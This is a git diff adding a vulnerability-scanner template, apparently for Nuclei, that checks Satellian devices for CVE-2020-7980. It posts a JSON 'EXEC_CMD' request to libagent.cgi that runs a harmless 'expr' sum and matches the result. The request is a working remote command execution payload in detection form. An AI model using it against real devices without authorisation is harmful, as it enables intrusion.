diff --git a/cves/2020/CVE-2020-7980.yaml b/cves/2020/CVE-2020-7980.yaml new file mode 100644 index 0000000000..3e27fff899 --- /dev/null +++ b/cves/2020/CVE-2020-7980.yaml @@ -0,0 +1,32 @@ +id: CVE-2020-7980 + +info: + name: Satellian RCE + author: ritikchaddha + severity: critical + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2020-7980 + tags: satellian,rce,cve,cve2020 + +requests: + - method: POST + path: + - "{{BaseURL}}/cgi-bin/libagent.cgi?type=J" + headers: + Cookie: ctr_t=0; sid=123456789 + Content-Type: application/json + body: "{"O_": "A", "F_": "EXEC_CMD", "S_": 123456789, "P1_": {"Q": "expr 876547689 + 082635241", "F": "EXEC_CMD"}, "V_": 1}" + + redirects: true + max-redirects: 2 + matchers-condition: and + matchers: + + - type: word + words: + - "959182930" + part: body + + - type: status + status: + - 200